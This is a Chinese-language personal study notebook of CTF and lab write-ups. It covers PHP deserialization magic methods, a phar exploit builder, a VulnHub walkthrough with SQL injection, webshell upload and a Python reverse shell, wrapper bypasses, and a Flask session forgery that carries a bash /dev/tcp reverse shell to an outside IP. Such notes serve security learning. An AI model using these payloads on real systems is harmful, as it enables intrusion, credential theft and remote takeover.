也可以起到子域名挖掘作用

队友给的php反序列化的基础记录 收藏一下

你真的搞懂魔术方法了吗,它们的参数、返回值、触发方法、版本更迭、魔术方法之间的优先关系、CTF利用情景……

反序列化基础知识:

(这里不再列举出一些过于基础的知识,只是在回顾的过程中写出对基础知识的一些注意事项)

注意:当访问控制修饰符(public、protected、private)不同时,序列化后的结果也不同,当我们做题的时候需要注意这一点,%00 虽然不会显示,但是提交还是要加上去。

public : 被序列化的时候属性名 不会更改

protected : 被序列化的时候属性名 会变成 %00*%00属性名

private : 被序列化的时候属性名 会变成 %00类名%00属性名

输出时一般需要url编码(在进行传参的时候大部分也都是需要在PHP里面进行urlencode) ,若在本地存储更推荐采用base64编码的形式

魔术方法:

注意:在同一个类中只能声明一个构造方法,原因是,PHP不支持构造函数重载。

__construct() 类的构造函数,每次创建新对象时先调用此方法

__destruct() 类的析构函数,某个对象的所有引用都被删除或者销毁时调用

__call() 在对象中调用一个不可访问方法时调用

__callStatic() 用静态方式中调用一个不可访问方法时调用

__get() 获得一个类的成员变量时调用

__set() 设置一个类的成员变量时调用

__isset() 当对不可访问属性调用isset()或empty()时调用

__unset() 当对不可访问属性调用unset()时被调用。

__sleep() 执行serialize()时,先会调用这个函数

__wakeup() 执行unserialize()时,先会调用这个函数

__toString() 类被当成字符串时的回应方法

__invoke() 调用函数的方式调用一个对象时的回应方法

__set_state() 调用var_export()导出类时,此静态方法会被调用。

__clone() 当对象复制完成时调用

__autoload() 尝试加载未定义的类

__debugInfo() 打印所需调试信息

__serialize(),执行serialize()时,先会调用这个函数(这个和__sleep()的区别后面会详细介绍)

__unserialize(),执行unserialize()时,先会调用这个函数(这个和__wakeup()的区别后面会详细介绍)

详细介绍:

<1>.__construct()
class A{ public $a = "123"; public function __construct() $this -> a = "123456"; //需要注意的是及时在类里面原本给某个属性赋值之后,在调用构造函数之后可以进行强制重新赋值 $b = new A(); $c = serialize($b); echo $c."\n"; print_r(unserialize($c));
<2>.__destruct

这里主要介绍一下如何触发__destruct:

1.主动调用unset($obj)       //这个函数:用于销毁指定的变量
2.主动调用$obj = NULL      
3.程序自动结束
4.将原先指向类的变量取消对类的引用
class A
    public function __construct($b)
        $this->b = $b;
    public function __destruct()
        echo $this->b."destruct触发";
$aa = new A(1);
new A(2);    //因为没有被引用,所以会被系统识别成无用,所以最先触发
$bb = new A(4);
$aa = new A(3);    //因为原本$aa是1,但是现在重新赋值为4,原本的1被识别为无用
$aa = null;        //直接将$aa赋值为NULL:空值,所以原本的3被识别为无用,所以触发
//最后程序结束,4被回收触发
2destruct触发
1destruct触发
3destruct触发
4destruct触发
<3>.__call: public function __call($function_name, $arguments):非静态

注意事项:就像在标题里面写入的方法调用的参数(分为调用的方法名称,传入参数:就像下面的例子中的xx和yy ==> $aa

之后传入不存在方法的参数是以array的形式传入

该方法在调用的方法不存在时会自动调用,程序仍会继续执行下去, 这是为了避免当调用的方法不存在时产生错误,从而导致程序中止。

需要注意的是传参的个数以及参数的匹配:

class A function Print(){ print("hello,欢迎来到痛苦的php反序列化"); function __call($aa,$bb){ echo "你所调用的函数:" . $aa. " 参数:" ; print_r($bb); //当这里使用echo $bb 的时候,是无法打印出对应的结果,会直接跳转到下一步 echo " 不存在!\n"; $a = new A(); $a -> xx("aaaa"); $a -> yy("aaaa","bbbb"); 标准输出:你所调用的函数:xx 参数:Array [0] => aaaa 你所调用的函数:yy 参数:Array [0] => aaaa [1] => bbbb
<4>.__get($name)

注意:只能有一个参数,这个参数就是访问的跨权限属性对应的值:(属性名)

这个是属性被设置成protected(受保护)、private(私有)、不存在的时候,我们直接读取他们就会触发__get()魔术方法。

class A public $a="a"; protected $b="first"; private $c="second"; public function __get($aaa){ echo $this->$aaa."触发了__get \n"; $aa = new A(); $aa -> a; $aa -> b; $aa -> c; $aa -> m; first触发了__get second触发了__get 触发了__get

注意一个在做题中常见的触发现象:

class A public $a; public $d; public function B(){ return $this->a->d; //类似于这种形式,但是可能写的不正确(原理:虽然两个都是public,但是在a这个对象里面是没有d,所以属于不存在访问,符合触发条件) public function __get($aaa){ echo $aaa."触发了__get \n";
<5>.__set($name, $value)

注意:这个魔术方法的参数和__get极其相似,但是参数有两个(属性名、属性值)

同样是对固定权限的属性(或者不存在)进行访问即可触发;

class A public $a; protected $b; private $c; public function __set($aaa,$bbb){ echo $aaa."第一个参数 \n"; echo $bbb."第二个参数 \n"; $aa = new A(); $aa -> a='11111'; $aa -> b='22222'; $aa -> c='33333'; $aa -> m='44444'; b第一个参数 22222第二个参数 c第一个参数 33333第二个参数 m第一个参数 44444第二个参数
对上面三个魔术方法:分清楚属性和方法,才能更好地触发
考点:当使用__set() 进行赋值运算时,__get()不会被调用 。
<6>.__unset()

当对不可访问属性调用unset()时,unset()被调用。(在实际测试中,其实对不存在的属性也会使用unset函数触发这个

unset()这个函数的作用是删除指定的变量且传回true,但是他没有权限删除对象的私有属性。

class A public $a='a'; protected $b='1111'; private $c='2222'; public function __unset($aaa){ echo $this->$aaa."触发了__unset \n"; $aa = new A(); unset($aa->a); unset($aa->b); unset($aa->c); unset($aa->m); 1111触发了__unset 2222触发了__unset 触发了__unset
<7>.__sleep()

这个魔术方法和PHP反序列化的serialize关系密切:

首先在程序执行的时候(序列化的时候:执行到serialize时)会优先去找__sleep这个魔术方法,找到了之后会优先执行这个里面的内容,然后才会执行序列化操作(注意,等会代码绝对不会和我们想的一样执行

对于返回值:一个包含对象中所有应被序列化的变量名称的数组,如果没有return进行返回的话,会产生NULL同时被序列化,产生一个 E_NOTICE 级别的错误

总之:__sleep()函数不需要接受任何参数,但需要返回一个数组,在数组中包含需要串行化的属性。未被包含在数组中的属性将在串行化时被忽略。如果没有在类中声明__sleep()方法,对象中的所有属性都将被串行化

class A public $a='11'; public $b='22'; public $c='33'; public function Print() echo "欢迎来到痛苦的php反序列化"; public function __sleep(){ echo "触发了__sleep \n"; return array('a','b'); $aa = new A(); echo serialize($aa); 触发了__sleep O:1:"A":2:{s:1:"a";s:2:"11";s:1:"b";s:2:"22";} //会发现这个序列化的结果会根据__sleep的返回数组决定,同时最后的序列化结果被这个替代,这就是__sleep的执行过程 值得注意的是,如果没有return语句,及时后面有echo serialize($aa) 这个打印函数,也只会返回NULL 同样,我们测试一下,有return语句而没有echo,会是怎么样的结果:会发现即使有return语句,最终没有任何结果,这就是__sleep的执行特性
<8>.__wakeup()

在调用unserialize()函数将对象反串行化对象时,则会自动调用对象中的__wakeup()方法,用来在二进制串重新组成一个对象时,为新对象中的成员属性重新初始化(在实际PHP开发当中:例如重新建立数据库连接,或执行其它初始化操作)

在这里需要注意的是:经常在CTF里面出现的绕过__wakeup,这也是所谓的这个魔术方法的漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数。也就是最为常见的修改对象的属性数量

在这里简单看一下比较详细的代码解释:

class A public $a='11'; public $b='22'; public $c='33'; public function __sleep() echo "触发了__sleep\n"; $this->a = 'first'; return array('a', 'b', 'c'); public function __wakeup(){ echo "触发了__wakeup\n"; $this->a = 'second'; //这里的赋值操作就是常见的初始化,也是CTF里面常需要绕过的一个点 // return array('a','b','c'); 这里完全不需要返回数组 $aa = new A(); $bb = serialize($aa); print_r($bb); print_r(unserialize($bb)); 标准输出://示例 触发了__sleep O:1:"A":3:{s:1:"a";s:5:"first";s:1:"b";s:2:"22";s:1:"c";s:2:"33";}触发了__wakeup A Object [a] => second [b] => 22 [c] => 33
<9>.__toString() :很重要,很常见

此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

1. _toString 没有形参
2. 当我们在项目开发时,需要 debug(找bug), 可以通过他输出对象信息

当一个类被当成字符串时,就会触发__toString()方法,这是对这个魔术方法最简单的解释,但是深入研究一下类被当成字符串(在哪些情况下,会判定类被当成字符串执行)

1.echo ($obj) / print($obj) 打印时会触发(没有print_r和var_dump):

class A
 public $a;
 public function __toString(){
     return "触发了__toString \n";
$aa = new A();
echo $aa;    //此时会触发__toString里面的return字符串

2.反序列化对象与字符串连接时:

还是上面的类和实例化,但是在之后:
$bb = $aa."ss";
echo $bb;    //此时不仅会返回return语句,同时会返回连接的字符串(也就是ss)

注意事项:需要指出的是在 PHP 5.2.0 之前,__toString() 方法只有在直接使用于 echo 或 print 时才能生效。PHP 5.2.0 之后,则可以在任何字符串环境生效(例如通过 printf(),使用 %s 修饰符),但不能用于非字符串环境(如使用 %d 修饰符)。自 PHP 5.2.0 起,如果将一个未定义 __toString() 方法的对象转换为字符串,会产生 E_RECOVERABLE_ERROR 级别的错误。

3.反序列化对象参与格式化字符串时:因为不同的字符串格式化处理方式:可能对应不同的函数,此处不再举例

4.反序列化对象与字符串进行比较时(PHP进行比较的时候会转换参数类型)

这个常见于正则匹配的匹配比较中,或者类似于strcmp之类的字符串比较函数
注意,在大部分题目当中,如果出现需要使用比较将类转化为字符串进行相关操作的时候,但部分需要对类与对象进行嵌套,这在后面会讲到(属于PHP面向对象的内容)

反序列化对象参与格式化SQL语句,绑定参数时;
反序列化对象在经过php字符串函数,如 strlen()、addslashes()时;
在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用
反序列化的对象作为 class_exists() 的参数的时候

遇到的比较多的触发方法:

通过echo输出来触发(这个有其需要注意,这个echo后面可能跟上参数,但是参数可控,于是可能转换成类,在后面的例题会说,尤其注意echo和print,print_r和varm_dump是不会触发的)

通过与字符串比较的时候,这时候这个属性就是被当做字符串处理的(比较常见的就是弱比较或者强比较:if($a == "xxxx"))

通过正则匹配之类的时候,这时候这个属性就是被当做字符串处理的。

4.遇到一些函数strlen()、addslashes()、strtoupper()这些之类,他们都有一个共同的特点都是使用的字符串,这样就算不是也会转换成字符串。
记录一下使用了file_exists()这个函数也会触发

<10>.__invoke()

以调用函数的方式调用一个对象时,就会触发__invoke()方法(说明确实很简单,但是我们需要知道的是利用的环境,就像之前无参数RCE有标志性的递归代码)

值得注意的是:这个魔术方法的参数没有限制

class A function __invoke($a){ print_r($a."触发了__incoke"); $aa = new A; $aa('1'); //这是PHP的调用函数的方法,所以我们更应该在实际题目中找到相似的代码利用环境 //1触发了__incoke 利用环境: //所以通常题目中出现这样的,下面return $bb(),我们就可以知道他是触发了__invoke public function __wakeup(){ $a = $this->b; return $a(); //很自然的一个POP链子:从unserialize开始触发__wakeup,通过对参数的控制,使得$a的值为一个实例化的对象,从而触发__invoke魔术方法 public function __invoke(){ echo "flag{xxxxx}";
接下来介绍的的会比较冷门,同时需要注意版本的问题
__clone()

当对象被复制后,PHP 5 会对对象的所有属性执行一个浅复制(shallow copy)。所有的引用属性 仍然会是一个指向原来的变量的引用。 当复制完成时,如果定义了 __clone() 方法,则新创建的对象(复制生成的对象)中的 __clone() 方法会被调用。

需要注意的是:如果题目不是很难的话,一定会有标志性的:clone 字样出现,这对我们来说就是提示;当然如果没有就可能是动态代码执行的样式出现,毕竟想要触发这个魔术方法就一定需要这个’关键字‘

class A public $a = '1'; public $b = '2'; public $c = '3'; public function __clone() echo "你正在克隆 \n"; $aa = new A; $aaa = clone $aa; var_dump($aa); var_dump($aaa);
__serialize():在这里它不再是函数

他的作用和__sleep是一样的,但是他是在序列化之前优先于任何方法,包括__sleep,有了他__sleep就不会执行了(这个顺序就像set和get之间的执行),但是__serialize方法是7.40以上,所以使用的时候要注意。

对于参数和返回值不在做过多的讲解

class A public $a; public function __sleep(){ echo "触发了__sleep \n"; return array('a','b'); public function __serialize(){ echo "触发了__serialize \n"; return [ 'aaa' => $this->a, $aa = new A(); echo serialize($aa); 触发了__serialize O:1:"A":1:{s:3:"aaa";N;}
__unserialize():同上

这个也是和 __wakeup(),作用是一样的,但是有__unserialize()的时候,会自动忽略__wakeup()

vulnhub环境搭建

hackme.ova直接用vm打开即可

phar反序列化利用过程

本地构建phar文件,

注意现在php.ini中把 pharreadonly 设为 Off 注意删除前边的 ; 当时踩在这坑上 不然不起作用

然后编写php文件去本地访问该文件生成 phar 然后将生成的phar文件上传,然后需要找到路径,然后再找到 file_exists getimagesize fopen()file_get_contents()file()include()这种类型的函数,去file_exists(phar://上传的路径) 即可 这里访问本地的php文件产生的phar文件为phar后缀,上传时可能是白名单限制,所以将phar改为白名单后缀即可,也是可以用phar伪协议去利用的

生成phar包的代码:这里边的F1ag类为要利用的类,

class Flag{ public $code = "system('ls /');"; //system('ls /'); $a = new Flag(); $phar = new phar('b.phar');//对phar对象进行实例化,以便后续操作。 $phar -> startBuffering();//缓冲phar写操作(不用特别注意) $phar -> setStub("<?php __HALT_COMPILER(); ?>");//设置stub,为固定格式 $phar -> setMetadata($a);//把我们的对象写进Metadata中 $phar -> addFromString("test.txt","helloworld!!");//写压缩文件的内容,这里没利用点,可以随便写 $phar -> stopBuffering();//停止缓冲

php类中的细节:

masscan --rate=100000 -p 0-65535 192.168.49.131

扫描端口发现80和22端口开放

nmap -T4 -sV -O -p 22,80 192.168.49.131

详细扫描端口 发现80端口http服务

对web站扫描目录进行信息收集

dirb http://192.168.49.131 /usr/share/dirb/wordlists/big.txt

发现uploads目录

gobuster扫描比较全

gobuster dir -e -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,zip,html -u http://192.168.49.131 -t 30

whatweb http://192.168.49.131

web渗透:

在查询处 sql注入漏洞

search=OSINT' union select 1,database(),3#

webapphacking 数据库名

search=OSINT' union select group_concat(table_name),2,3 from information_schema.tables where table_schema = database()#

books,users 当前数据库表名

search=OSINT' union select group_concat(column_name),2,3 from information_schema.columns where table_schema = database() and table_name = 'users'#

id,user,pasword,name,address users表中的列名

search=OSINT' union select group_concat(id),group_concat(user),1 from users#

读取user发现 superadmin

search=OSINT' union select group_concat(pasword),group_concat(user),1 from users where user = 'superadmin'#

读取账号密码

2386acb2cf356944177746fc92523983

MD5免费在线解密破解_MD5在线加密-SOMD5

md5解密

密码为 :Uncrackable

用超级用户登录发现文件上传点,但是同时还有个漏洞就是已经登录的用户 访问http://192.168.49.131/welcomeadmin.php 会直接可以访问 越权漏洞

上传界面无waf直接上传木马连接

发现为www-data用户

python反弹shell:

因为蚁剑中的shell有局限性

python脚本:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.49.128",54321))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

先将此脚本放在本地web服务上

例如开启apache服务:service apache2 start

然后 用蚁剑的shell 下载这个脚本:wget http://192.168.49.128/shell.py

之后在kali上开启监听 nc -lvp 54321

然后在蚁剑的shell上运行 python脚本即可 然后反弹shell

之后home里有二进制文件可以进行提权然后提权成功

双系统之Fadora

要先压缩一个分区 并且不要分配使用 之后安装后选择那个分区即可

如何双启动 Fedora 和 Windows | Linux 中国 - 知乎 (zhihu.com)

https://zhuanlan.zhihu.com/p/393485795?utm_id=0 将windows设置成首选 毕竟linux还是日常使用差很多 linux图一乐或者开发学习 windows才是最终归宿 哈哈哈

Lictf

vim 中会有swp文件泄露

vim -r index.php.swp即可恢复

http头上的代理伪造:via:伪造代理

GET / HTTP/1.1
Host: node6.anna.nssctf.cn:28562
Upgrade-Insecure-Requests: 1
User-Agent: Chrome
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Client-Ip: 127.0.0.1
via:Clash.win
Referer:pornhub.com
Cookie: buvid_fp=c06271b085a940cc0b6d1918dab32061; buvid4=702B011E-7E0D-5B7D-4F77-19FB6B8A8F9D05372-022102512-iJIqEdxb/kkI4clYXFJLIA%3D%3D; buvid3=61262F5F-DA0F-3905-306B-0EC3ED6AD5DE66703infoc; b_nut=1682140868
Connection: close

1.1 pyc文件简介

pyc文件是py文件编译后生成的字节码文件(byte code),pyc文件经过python解释器最终会生成机器码运行。因此pyc文件是可以跨平台部署的,类似Java的.class文件,一般py文件改变后,都会重新生成pyc文件。

NSS练习

md5弱比较

俩参数为数组即可

php伪协议

include

php://filter/read=convert.base64-encode/resource=flag.php

WebFTP的弱口令漏洞 admin admin888

以后可能遇不见了 太老了

php的直接伪造

phtml绕过 与php作用一样

反序列化wakeup的缺陷

改变属性个数

file_get_content函数也可以用php://filter

使用php://input伪协议绕过
① 将要GET的参数?xxx=php://input
② 用post方法传入想要file_get_contents()函数返回的值
用data://伪协议绕过
将url改为:?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
或者将url改为:?xxx=data:text/plain,(url编码的内容)

ctfshow周末大闯关

ctfshow-周末大挑战-parse_url | ke1nys`Blog

(48条消息) ctfshow周末大挑战2023/5/12_T1ngSh0w的博客-CSDN博客

parse_url()函数的利用

这里RCE时 / 不起作用因为 /会被解析

$data = parse_url($_GET['u']);
eval($data['host']);
让host为 eval($_POST[c]); 需要eval(eval())
或者base64 eval(base64_decode('c3lzdGVtKCJscyAvIik7'));
$url = 'http://user:pass@host/path?args=value#anch';  
$a = "php://input";
$data = parse_url($a);
var_dump($data);

第二题用的php://input

同上只是拼接的变量不一样

通过${PWD}来截取 / ${PWD::1}

extract函数的利用 有套娃的那个味

file_put_contents函数利用:

将利用代码写到指定文件

但是 / 还是利用不了的

这里利用cd ..; cd ..; cd ..; 绕过 /的不能使用

或者 eval($_GET[c]); 利用

2023年春秋杯网络安全联赛 春季赛 wp (ngui.cc)

phpstudy

看wp说的一个1day 登录界面sql注入改管理员密码

admin' ;UPDATE ADMINS set PASSWORD ='c26be8aaf53b15054896983b43eb6a65';--admin/123456
Easypy

pickle序列化与反序列化

栈的形式写入

Python实用模块之pickle,序列化与反序列化_哔哩哔哩_bilibili

参考来源:

Python Pickle反序列化漏洞 - FreeBuf网络安全行业门户

numpy.loads(numpydata)

NeepuCTF2023 公开赛

[NeepuCTF2023 公开赛 Writeup | Boogiepop Doesn't Laugh (boogipop.com)](https://boogipop.com/2023/05/21/NeepuCTF2023 公开赛 Writeup/)

Cute Cirno

在任意文件读取漏洞中 可以读取以下文件

cmdline文件 [(49条消息) linux 进程参数文件 /proc/pid/cmdline 简介_whatday的博客-CSDN博客](https://blog.csdn.net/whatday/article/details/108897457#:~:text=1.cmdline文件,该文件包含的是该进程的命令行参数,包括进程的启动路径 (argv)。)

/proc/self/cmdline 可以查看文件路径

在任意文件读取出500报错 有文件路径泄露

脚本跑key的 算mem时使用 不是很懂emmm..:

import base64
import os
import  re
import requests
# print(str(base64.b64encode(os.urandom(30)).decode()) + "*NeepuCTF*")
# pollution_url="http://localhost:8848/?name=os.path.pardir&m1sery=boogipop"
# flagurl="http://localhost:8848/../../flag"
url="http://neepusec.fun:28733/r3ADF11e"
maps_url = f"{url}?filename=../../../proc/self/maps"
maps_reg = "([a-z0-9]{12}-[a-z0-9]{12}) rw.*?00000000 00:00 0"
maps = re.findall(maps_reg, requests.get(maps_url).text)
print(maps)
cookie=''
for m in maps:
    print(m)
    start, end = m.split("-")[0], m.split("-")[1]
    Offset, Length = str(int(start, 16)), str(int(end, 16))
    read_url = f"{url}?filename=../../../proc/self/mem&start={Offset}&end={Length}"
    print(read_url)
    s = requests.get(read_url).content
    # print(s)
    rt = re.findall(b"(.{40})\*NeepuCTF\*", s)
    if rt:
        print(rt[0])

算出来key后加密自己想要的session

python flask_session_cookie_manager3.py encode -s "sqEYRKMrnPdt0dMBlgcaOYi69mcF1RspjiXHrY9u*NeepuCTF*" -t "{'admin': 1,'__globals__':1,'os':1,'read':1,'popen':1,'bash -c \'bash -i >& /dev/tcp/114.116.119.253/7777 <&1\'':1}" 这是伪造session,然后使用payload {%print(((lipsum[(session|string)[35:46]])[(session|string)[53:55]])[(session|string)[73:78]]((session|string)[85:139]))%} 获取反弹shell
ezphp

php版本是7.4.21 存在源码leak的漏洞 emmm..没见过

拿到源码就是反序列化了

No Map

jackson反序列化 java安全不懂 一直想学 emmm..没学

javaweb

[网鼎杯 2020 青龙组]filejava

在文件读取处 先 ../../../web.xml 读取javaweb的配置文件 这里 ../ 需要测试 看看需要回退几层,然后 web.xml中 会有各个类的路径 然后读取各个类

web.xml与各个类的位置关系 所以读取 类的 回退层数与web.xml一样